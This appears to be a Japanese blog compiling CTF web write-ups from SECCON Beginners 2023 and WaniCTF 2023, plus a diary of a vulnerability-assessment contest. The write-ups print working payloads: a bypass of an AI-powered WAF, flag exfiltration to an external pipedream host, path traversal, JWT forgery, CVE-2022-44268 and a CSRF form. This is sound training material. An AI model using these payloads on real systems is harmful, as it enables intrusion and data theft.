        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")

ユーザの入力が puuid に挟まれる形でAIに投げられるらしい。

入力が出力される部分は urllib.parse.unquote(request.query_string)[:50] となっているため、クエリストリング全体のうち最初50文字をAIに渡していることが判明する。

つまり、?01234567890123456789012345678901234567890123456789&file=../flag のような形にすれば、先頭50文字に file パラメータが含まれなくなって自由に入力できるようになる。

aiwaf - flag

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

phisher2 (medium: 94pt / 118solved)

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

タイトルからして、去年 misc で出題されたホモグラフ攻撃のオマージュだろうか。 github.com

Phisher2 - TOP

アクセスするといきなり curl を要求される。
ひとまずは言われた通りやってみる。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
{"input_url":"https://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar"}

POST で送信した text に含まれるURLが安全だったら admin がアクセスしてくれるらしい。
これもまたソースコードを見に行く。

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}

text の内容が /var/www/uploads/{uuid}.html<p style="font-size:30px">{text}</p> の形式で保存され、そのファイルのパスと text の元の文字列が share2admin に渡される。
share2admin も読んでいく。

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
  :
# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")
  :

def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

URLの判定は find_url_in_text の中で行われており、これは渡された文字列の中から一番最初にマッチしたURLを返す。

admin は /var/www/uploads/{uuid}.html のファイルを selenium で開き、ocrで読み取った文字列を find_url_in_text に渡す。その返り値のURLが APP_URL から始まる場合に {input_url}?flag={FLAG} で開く。

ここで注意すべきは input_urlfind_url_in_text(input_text) で取得されるURLだということ。
つまり、表示されない罠URLの後ろに正規のURLが表示される状態にしてあげれば良い。

自分の最終的なペイロードは以下。(正規表現の都合で-が使えないので、いつも愛用してるwebhook.siteが利用できなくて久しぶりに別ツールを使った。)

</p><div style='display:none;'>https://....pipedream.net</div><p style='font-size:30px'>https://phisher2.beginners.seccon.games/foobar

これで ocr_url = https://phisher2.beginners.seccon.games/foobar かつ input_url = https://....pipedream.net の状態が作れた。
これを送信すれば、adminからflagつきでアクセスがくる。

Phisher2 - flag

ctf4b{w451t4c4t154w?}

double check (medium: 149pt / 41solved)

Double check is very secure.

double check - TOP

いきなり「Cannot GET /」。正常系のリクエストも自分で組み立てるやつだ。

app.use(express.json());

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;
  console.log(user);
  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

jsonでPOSTすれば良いこと、username, password のパラメータが必要なことがわかるのでリクエストしてみる。

double check - register

もう一つのエンドポイントも見てみる。

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

jwt を検証してadminだったらflagがもらえるらしい。 まずは任意のjwtトークンに署名をするところからクリアしていきたい。

jwtの検証時に HS256 を許可していて、配布ファイルには public.key が含まれている。これはあやしい。
HS256 にするのは過去解いたので、コードを使いまわした。(ほかの人のwriteupみてたらみんな便利そうなの使ってた) writeup/2020_0601_HSCTF7/Broken_Tokens at master · y0d3n/writeup · GitHub

import jwt

with open("./app/keys/public.key.orign", "r") as f:
        key = f.read()

print (jwt.encode({"username":"admin","iat":1685861727,"exp":1685865327}, key, algorithm="HS256"))

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjg1ODYxNzI3LCJleHAiOjE2ODU4NjUzMjd9.aFkF2YfEVPVK7hvH6xJ3WfbJOZc3sV1tHun7T_ctFuI

admin:pw/register し、自作のtokenで正常に動作するか確認。

double check - hs256

トークンのエラーがでない。良い感じ。
任意のトークンを発行できるようになったので、次はadminへの昇格を考える。

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

ユーザ名・パスワードがともに正しくない場合はjwtのトークンから admin フィールドが消される。
ので {"username":"admin","admin":True,"iat":1685861727,"exp":1685865327}みたいな形にしても意味はない。

ここで「admin フィールドが消されるなら user.__proto__.admin をセットしておけばよさそうだな」とひらめいた。
{"username":"admin","__proto__":{"admin":True},"iat":1685861727,"exp":1685865327}トークンを生成する。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWlhbiIsIl9fcHJvdG9fXyI6eyJhZG1pbiI6dHJ1ZX0sImlhdCI6MTY4NTg2MTcyNywiZXhwIjoxNjg1ODY1MzI3fQ.w2TE-lwWDwoh0mXJInUvVSD2lMP5kDxuikLFD0V1YIo

double check - flag

ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

WaniCTF 2023

WaniCTF 2023 - Web writeup

WaniCTF 2023 に参加していました。
面白い問題ばかりでとても楽しかったです。

ということで、web 7問のwriteupです。

IndexdDB (Beginner: 608 Solves)

このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。

「まぁBeginnerだね」っていいながらソース開いたらflagなくて焦った。

IndexdDB - viewsource

URLが 1ndex.html なのが気になる。
少しいじってみるとindex.html にアクセスすると1ndex.htmlにリダイレクトされることがわかる。

「リダイレクト前のレスポンスにあるのかな」と予想してcurlしてみたらビンゴ。*1

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl https://indexeddb-web.wanictf.org/
...
        objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });

FLAG{y0u_c4n_u3e_db_1n_br0wser}

Extract Service 1 (Easy: 245 Solves)

ドキュメントファイルの要約サービスをリリースしました!配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね...? どんなHTTPリクエストが送信されるのか見てみよう!

アクセスするとファイルとファイルタイプを指定してアップロードできる画面が。

Extract 1 - TOP

配布ファイルの中にsampleがあるのはかなり嬉しい。
試しに sample.docx をアップロードしてみる。ファイルタイプは .docx のまま。

POST / HTTP/1.1
...

-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="file"; filename="sample.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

PK...
-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="target"

word/document.xml
-----------------------------39327306635975792793622618633--

リクエストをのぞいてみると、file でdocxのファイルと targetword/document.xml が送信されてることがわかる。

ソースを読んでいくと、targetword/document.xmlextractTarget という変数に入れられて ExtractContent という関数に渡されるらしい。

func ExtractContent(baseDir, extractTarget string) (string, error) {
    raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
    if err != nil {
        return "", err
    }

    removeXmlTag := regexp.MustCompile("<.*?>")
    resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
    removeNewLine := regexp.MustCompile(`\r?\n`)
    resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
    return resultNewLineRemoved, nil
}

とくにバリデーションがないので、ディレクトリトラバーサルができそうだ。

POST / HTTP/1.1
...

-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="file"; filename="sample.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

PK...
-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="target"

../../flag
-----------------------------39327306635975792793622618633--

Extract 1 - flag

FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}

64bps (Easy: 182 Solves)

dd if=/dev/random of=2gb.txt bs=1M count=2048

cat flag.txt >> 2gb.txt

rm flag.txt

どうやらめっちゃデカいファイルの最後にflagがあるらしい。
さらに、配布ファイルを見てみると 8 bytes/s とかいう制限がかかっている。

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    keepalive_timeout  65;
    gzip               off;
    limit_rate         8; # 8 bytes/s = 64 bps

これのダウンロードを待つのは現実的じゃないので、どうにかしてflagの部分だけに絞ってダウンロードしたい。
Rangeヘッダーが使えそうだ。

まず、全体で何byteなのかを知りたい。計算しても良いけどcurlでヘッダーだけとってくればわかる。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl -I https://64bps-web.wanictf.org/2gb.txt
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 06 May 2023 06:41:27 GMT
Content-Type: text/plain
Content-Length: 2147483697
Connection: keep-alive
Last-Modified: Mon, 01 May 2023 04:40:51 GMT
ETag: "644f42d3-80000031"
Accept-Ranges: bytes

2147483697byteのうち何byteがflagかがわからない。
最初「30byteくらいあればいいだろ」って言ってたら足りなくて、「じゃあ50byte!」と何回かやっていたらflagが手に入った。(計算した方が早かったかも)

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl https://64bps-web.wanictf.org/2gb.txt -i -H "Range: bytes=2147483645-2147483697"
HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 04 May 2023 06:30:43 GMT
Content-Type: text/plain
Content-Length: 52
Connection: keep-alive
Last-Modified: Mon, 01 May 2023 04:40:51 GMT
ETag: "644f42d3-80000031"
Content-Range: bytes 2147483645-2147483696/2147483697

���FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

Extract Service 2 (Normal: 103 Sovles)

Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね...?

Extract Service 1でやったディレクトリトラバーサルが封じられている。

┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Documents/work/ctf/WaniCTF2023]
└─$ diff web-extract1/main.go web-extract2/main.go 
38,39c38,41
<               extractTarget := c.PostForm("target")
<               if extractTarget == "" {
---
>               // patched
>               extractTarget := ""
>               targetParam := c.PostForm("target")
>               if targetParam == "" {
41a44,55
>                       })
>                       return
>               }
>               if targetParam == "docx" {
>                       extractTarget = "word/document.xml"
>               } else if targetParam == "xlsx" {
>                       extractTarget = "xl/sharedStrings.xml"
>               } else if targetParam == "pptx" {
>                       extractTarget = "ppt/slides/slide1.xml"
>               } else {
>                       c.HTML(http.StatusOK, "index.html", gin.H{
>          

リクエストで送信される target の値をみると、種類のみを送るようになっている。

-----------------------------2837738034924305695954927396
Content-Disposition: form-data; name="target"

docx
-----------------------------2837738034924305695954927396--

しばらく考えて「 word/document.xml -> /flag のようなシンボリックリンクをzipにできたら良いな」と思いついた。
「zip コマンド options link」とかで調べてリンクをたどらずに圧縮できる方法を確認。zip -y でできるみたいなのでやってみる。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ mkdir word
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ sudo vim /flag
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ cd word/
┌──(yoden㉿y0d3n-DESKTOP)-[~/word]
└─$ sudo ln -s /flag document.xml
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ zip -y test.zip word/document.xml
  adding: word/document.xml (stored 0%)

test.zipをアップロードしてみると、flagが手に入る。

Extract 2 - flag

FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}

screenshot (Hard: 91 Solves)

好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。

Hardだが、取り組み始めた時点で結構解かれていた。

URLを入力すると、スクショをとってきてくれるらしい。

screenshot - TOP

flagは /flag.txt にあることがわかる。file:///flag.txt とかしたいが、それで解けるはずもなく。

      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

ここが問題の本質部分。
http が含まれる かつ file が含まれない 文字列を渡さなければいけない。

http の方は hogehoge#http のようにすれば良いので無視できる。

file の方で良い方法あるかな~」とガチャガチャしたあと、
「URLのパース周りあの本に書いてあったはず」と「めんどうくさいWebセキュリティ」を手に取ってみたら p.31 にちょうど良い情報が。

ほとんどの実装では、スキーム名の途中にある改行文字とタブ文字も無視されます。

fi%09le のようにすれば、タブが無視されていい感じに行けそう。

url=fi%09le:///flag.txt%23http とすれば /flag.txt のスクショが手に入る。

screenshot - flag

FLAG{beware_of_parameter_type_confusion!}

certified1 (Normal: 66 Solves)

最近流行りの言語を使った安全なウェブアプリが完成しました!

この問題にはフラグが2つ存在します。ファイル/flag_Aにあるフラグをcertified1に、環境変数FLAG_Bにあるフラグをcertified2に提出してください。

certified 1

画像をアップロードしてみると、承認される。

certified 1 - Approved

これは承認欲求が満たされる。

/flag_A を読み出したい。
WebアプリケーションはRustで書かれていて、承認の画像を重ね合わせるのは ImageMagick が使われている。

ImageMagickがいかにも怪しいのでいろいろ調べていたらkurenaifさんの動画にたどり着いた。

【ImageMagick】ImageMagickであった情報漏洩の脆弱性を詳しく解説!【cve-2022-44268】【悪用厳禁】 - YouTube

CVE-2022-44268 が使えそうだ。

┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Downloads]
└─$ pngcrush -text a "profile" "/flag_A" test.png
  Recompressing IDAT chunks in test.png to pngout.png
   Total length of data found in critical chunks            =      6071
(snip)

これでできた pngout.png をアップロード。承認された画像をダウンロードして、PoCの手順に沿ってよしなにしていく

┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Downloads]
└─$ identify -verbose e9f161a7-1b0f-41b8-b9f8-800d47093ec9.png
Image: e9f161a7-1b0f-41b8-b9f8-800d47093ec9.png
  Format: PNG (Portable Network Graphics)
  Geometry: 480x480
...
      42
464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f
793075217d0a
...
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ py
Python 3.11.2 (main, Feb 27 2023, 01:25:14) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a"))
b'FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}\n'

FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

Lambda (Normal: 54 Solves)

以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。

URLにアクセスするとログインページ。

Lambda - TOP

配布ファイルとしてAWSAccess key ID,Secret access key,Region が提供される。
これでアクセスできる範囲からどうにかして認証情報を手に入れれば良い。

AWS CLI に不慣れすぎてかなり時間がかかってしまった。
公式のドキュメントを見ながら頑張る。

awscli.amazonaws.com

文字が多いので、必要なとこだけ切り取ってます。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda sts get-caller-identity
    "Arn": "arn:aws:iam::839865256996:user/SecretUser"

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda iam list-attached-user-policies --user-name SecretUser
        {
            "PolicyName": "WaniLambdaGetFunc",
            "PolicyArn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc"
        },

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc
    "Policy": {
        "PolicyName": "WaniLambdaGetFunc",
        "Arn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc",
        "DefaultVersionId": "v1",

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1
                    "Action": "lambda:GetFunction",
                    "Resource": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function"

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda lambda get-function --function-name wani_function
        "FunctionName": "wani_function",
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/839865256996/wani_function-df5..."

S3のURLが見つかるので、アクセスしてみると zip がダウンロードできる。
回答すると dll がいくつか。 Wani_Lambda.dll が怪しげ。

ILSpy でデコンパイルしてみる。

Lambda - source

LambdaWaniwani:aflkajflalkalbnjlsrkaerl であることが判明 (flagも書いてあるね)
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}


certified2は時間内に解けなかったのですが、writeupを読んで「1を解いてる時点でinputの挙動おかしいのに気づいてたのにどうして・・・」と唸っていました。

*1:問題文読んでないのがバレる

MBSD Cybersecurity Challenges 2022 優勝記

この記事は IPFactory Advent Calendar 2022 の 16 日目の記事です。

qiita.com


MBSD Cybersecurity Challenges 2022

こんにちは。y0d3nです。
去年MBSD Cybersecurity Challenges 2021に参加したfutabatoと、IPFactoryからn01e0とmorioka12を加えてMBSD Cybersecurity Challenges 2022に出場、優勝しました。

さっそく "専門学校と経営" さんに結果のページが掲載されていました。
いいポーズしてる人がいますね👀

setten.sgec.or.jp

コロンビア・・?

開催概要に関しては公式ページをご参照ください。

setten.sgec.or.jp

去年はかなり悔しい思いをしたので、最後にIPFactoryで出場して4年生を終わらせたいなと思って出場を決めました。

メンバーはこんなかんじ。

4人ともIPFactoryなので、満を持してIPFacotryで出場。
言い訳の出来ないアピール文を設定して覚悟を決めました。*1

アピール文

↓ エントリチーム一覧

setten.sgec.or.jp

コンテストに参加しながら随時追記していってます。(マジで忙しすぎてまとめて書いた範囲もありますが)
そのため、当時のテンションやメンタルによって文体とかがかなり異なります。
文章を見ながら僕のテンションを推測するなりして遊んでください。
(改めてみるとちょっと恥ずかしいことも書いてますが、せっかくなので当時のありのままを残しています)

このエントリは基本的にポエムで、あんまりためになる話はできません。

開始前

意識のすり合わせ

まずは去年の反省とそれに対する話し合いを少し。

去年参加した際の審査観点に、以下のような一文がありました。

診断ツールの操作が単純なこと。開発エンジニアが操作するのを想定すること。

去年、僕らのチームではかなりルールやシナリオに気を使って開発をして、「開発エンジニアでも使いやすいツール」を作ろうと頑張っていました。
その他にも、あらゆる面でシナリオにしたがって方針を相談して決めて、かなりお行儀よくコンテストに取り組んでいました。が、ただちょっと頑張る方向がずれていた様で、結果は思ったより伸びず。

プロキシツールのようにしたうえで攻撃は自分で操作をするような、「開発エンジニアが使いやすい」とは言い難いようなツールも想像以上にツール自体の点数が高く、ほぼ手動で診断ができるという点で診断の点数で大差をつけられて負けてしまったのがとても悔しかったのを鮮明に覚えています。

去年同じチームで参加していたfutabatoも同じような考えだったので 今年はルールで禁止されてないことは何でもやる という方針で攻める感じになりました。

診断

診断自体はやるだけ。
と思っていたら、フレームワークの問題で結構単純なインジェクション系はほとんどつぶされていました。
ツールを回すだけで見つけれる脆弱性は結構少なかったため、技術力と費やした時間次第だなって感じでした。

CSRFトークンとかもちゃんと生成されていたりして、jsonでやりとりするのでマクロもちょっと厄介。
権限毎に機能もわかれてて、「ぶっちゃけ面倒な部類の診断対象だな・・・」と。

ソースコードぶっこぬき

課題が公開されてから課題が配布されるまでの期間、以前の脆弱性診断の年の資料を探していました。
見つけた中で印象的だったのが2017の年のチーム「セキュアマン’s 2.0.1」さんのレポートです。

drive.google.com

「1-1 . 調査手法に関する説明」の工夫から引用します。

・配布されたovaをインポートした際にマウントされる MBSD_Bank_new-disk1.vmdk を
バイナリエディタで開き /etc/shadow の root パスワードを Shutdown ユーザで書き換え
root アカウントでサーバ内の設定を確認できるようにした。

いい話。

僕らも「ソースコード抜きたいね~」と話していましたし、
VMが配られた日にn01e0はWebアプリを起動するよりも先にVM hackに取り掛かり始めました。

結局、ovaのインポート時に生成されたvdiファイルをFTK Imagerに入れることで全部抜くことができました。
これでWebアプリの挙動とソースファイルを同時に見るグレーボックスな診断が可能です。

ただ、上位争いをするチームは間違いなくソースコードを抜いてくると想定できるため安心は厳禁です。

コメントアウト

ソースを抜いたのでコメントも見れるのですが、いくつか面白いコメントがありました。

特に面白かったのが // vulnerable
見ての通りSQLインジェクションできるのですが、直接的過ぎてしばらくツボっていました。
どんな気持ちで書いたんだろう・・・w

// vulnerable

これ以外に脆弱性に言及してるコメントは次くらいでした。

uniqid

ソースが無くてもCSRFトークンの様子を見ていればわかりますが、uniqidなので脆弱ですね。
(全部の脆弱性にコメントがあるみたいな事態にはなっていなくてよかったです)

ついでに面白かったコメントを。

念のため

パワー💪

診断作業自体はほとんど僕がやっていて、「これ怪しい」とかをチームメンバーに共有する流れが多かったです。
片っ端から見ていく力作業ですが、ソースコードがあるため結構やりやすかったです。

(逆にソースで読み間違えてて油断して見逃したものもあったので大反省。。。。。。)

FQDN

VMDHCPIPアドレスを取得する設定になっているため、環境によってIPアドレスが異なってしまいます。 mbsd.juku というホスト名で決定することによってチーム内でも共有しやすくしました。

Himawari

去年参加時に作成した脆弱性診断ツールであるHimawariを使いたい気持ちは強かったですが、フロントがnuxt製なため自動クロールは一切動きませんでした(泣)

サイトマップjsonを直接書いて診断しても良かったですが、少なくともそんな暇はなかったのでほとんど出番がないオチでした。。。。

github.com

証跡

仕事する時は当然ログを取るのですが、今回は「別にそこまでやる必要ないか・・・」とログも脆弱性のスクショも取っていませんでした。
怪しいのを見つけたらメモに残したり、Discord に投げたりくらい。

いざ報告書を作成しようとしたときにログがなくてちょっと申し訳なくなるなど・・・

脆弱性

指摘事項は画像の通りです。

指摘事項一覧

見逃しが怖すぎてこの一覧を見るだけでドキドキしてきます。

報告書

診断が一通り終わったら報告書の作成です。
報告書作成は経験がないので、こちらも魂を削りながら気合いで頑張って行きます。

ネットに転がってるサンプルとか、インターン先のレポートとかを参考にしながら、僕らならではの報告書になるように意識していました。

限界オタク

このあたりから、恒例の限界オタクが顔を出してきました。
自分の発言だけ貼ります。

もう飲んだけど

ヒョーマット

うまぴょい

ヒョーマットが一番お気に入りです。

権限の色分け

対象サイトは権限が4種類あり、それぞれの権限でしか使えない機能や、複数権限で使える機能などいろいろあって「どの権限の話をしているのか」がわからなくなってしまいそうです。

対策として、権限の書式を決めて報告書全体で統一することに。
機能の話をするときには「student 権限の○○機能において・・・」みたいな書き方を徹底していました。

権限の色分け

対象箇所

また、配布されたVMには admin 権限の admin アカウントや、student 権限の student1 アカウント等が用意されていました。
このアカウントをそのまま検証に使うかも少し悩んだのですが、このアカウントは診断用に用意されたサンプルアカウントであると判断してそのまま使いました。(脆弱性の再現手順でもそのまま使えるし)

権限名とアカウントIDがほぼ被ってしまい、権限の話なのかアカウントの話なのかややこしくなってしまったので「student 権限」や「student1 アカウント」などの表記も徹底しています。

権限とアカウント

CSRFのPoC

当然ながら、各種指摘事項にはそれぞれ再現手順を記載します。
SQLインジェクションとかは文字列を送信するだけで済みますが、CSRFだけは再現がややこしくなってしまったため、HTMLファイルでPoCを添付しました。

例として、プロファイルの更新機能で表示名を変更するHTMLを載せます。

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://mbsd.juku/php/profile_update.php" method="POST">
      <input type="hidden" name="disp_name" value="hacked" />
      <input type="hidden" name="name" value="student1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

ボタンを押すだけで再現できるようになりました。

料金

過去のコンテストを調べていると、料金の話を詰めていると好感触な感じがしました。
僕らも報告書と一緒に請求書でも書こうかと思いましたが「診断した後に請求するの、ほぼヤクザじゃね?」となってボツに。

スケジュール

マジでスケジュールギリギリでした。
某hack、某camp、ゴルフ等・・・各メンバーが結構な量の用事の隙間にやる感じだったので、報告書が完成したのは締め切り日の夜です。(その日は徹夜して死んでたので時計見てなかった)

徹夜して始発登校したのち、"24時間年中無休"のすしざんまいでエネルギー補給しようとしたら裏切られてうどん食べてました。

昼ご飯は別のお寿司屋さん。

一次審査結果発表

「専門学校と経営」さんはHTMLのファイル名が連番なので、結果発表の日にはページ更新通知botに監視してもらっていました。
優勝しか見てないのでここで躓くわけにはいかないのですが、さすがにドキドキしましたね。

setten.sgec.or.jp

うち、期限までに課題を提出していただいた89 チームについて一次審査を行い、厳選なる審査の結果、下記10チームが選出されました。

89チームも提出していたんですね。
去年の脆弱性診断ツールは25チームだったので、今年はかなり競争率が高いことがわかります。

再診断

一次の結果発表後、すぐに二次審査の案内が届きました。
二次審査では一次審査で報告された脆弱性を修正したらしいVMが配布されるので再診断していきます。

修正点

VMと同時に、修正箇所の一覧も渡されました。
修正箇所は25個ありましたが、4つほど報告できてなくて心臓ドッキドキでした。

「報告書の提出との期間から見て、一次の報告とは関係なく元から修正されてるだろう」とか「他のチームも見つけない可能性だってある」とか自分に言い聞かせて何とか正気を保っていました。。

二次審査の間はずっとこのストレスが頭から離れず、かなりしんどかったです。

プレゼンの方針決め

ただ脆弱性の報告をするだけのプレゼンは誰にでもできます。
だからこそ「脆弱性診断をした立場だからこそ見えてくる」ものがないか、とにかく考えます。

例えば運営側から提供された修正点において、CSRFがありました。
このCSRFは「CSRFトークンを送信してるのに、サーバ側で検証が漏れている」状況でしたが、検証の if 文が挟まったようです。

修正後のVMで、CSRFトークンを書き換えてリクエストしてみるとかなり奇妙なことに「CSRFトークンが間違っている」という旨の "NG" な json の直後に「更新しました」という旨の "OK" な json がくっついて帰ってきます。

奇妙なレスポンス

おおよそ、CSRFトークンを検証して "NG" の jsonecho した後に exit なり die なりを忘れたんだろうと予想してソースコードを見てみると予想通り。

exit 忘れ

他のページを見てみると、 else で正常処理を書いていたり exit(0) していたりという感じです。
単純なミスですね。他にも似たような凡ミスがいくつか見当たります。

そこで、 なぜこのミスに気付けなかったのか? ということを考えてみました。

たどり着いた結論は以下です。

修正後、碌に検証もせずに「ヨシ!」したエンジニアがいる。

ヨシ!

ということで、発表の方針は「開発体制とレビュー」って感じで決まりそうでしたが、ここで事件が。

修正VMで、CookieSameSite=Strict が付与されてることを忘れていたのです。

SameSite=Strict が付与されている場合、他サイトからの画面遷移に Cookie が送信されません。
これの所為で CSRF はいくつか上手くいかなくなりました。

その数日前に「CSRF1個しか直ってない」と堂々と宣言していました僕ですが、これに気付いたときは宇宙と交信するように手を上に向けて謎ダンスを踊っていました。

モチベ維持

診断の作業はほとんど自分がやっていて、それで見逃しが発生しているのが判明していたり、
自分のミスで最終報告の進捗率がかなり巻き戻ったり、
報告書で書き忘れていた微妙な点が後々響いてきたり、
言い訳できないように設定したアピール文に追い詰められたり。。。

完成度を上げようとして取り組めば取り組むほど、一次審査の自分の粗が見つかる。
かといって現実逃避をしようとしても「他の事してる余裕あるのか?」という気分になってしまう。

頑張っていても辛いけど頑張らないのも辛くて、「じゃあ頑張ったほうがいいだろ」ってマインドでどうにか手を止めずにいられました。

ラスト1週間

12/11, 12 が二次審査期間中の最後の土日です。
この時点で発表の方針もなんか納得いっていなくて、「これで良いのか?」と問い続けながら作っていました。

というのも、CSRF事件が発覚する前の発表シナリオが結構スッキリする感じにまとまっていたのが大きな原因です。
スッキリした結論が僕のミスで消えてしまい、新しいシナリオはなんか微妙。
そのシナリオもその時に出せる最善ではあったと思いますが、「もっと良いのがあるんじゃないのか」「もしかしたらもっと脆弱性が眠ってるんじゃないのか」という心配が頭から離れなくてあんまりスライドに集中できなかったり。

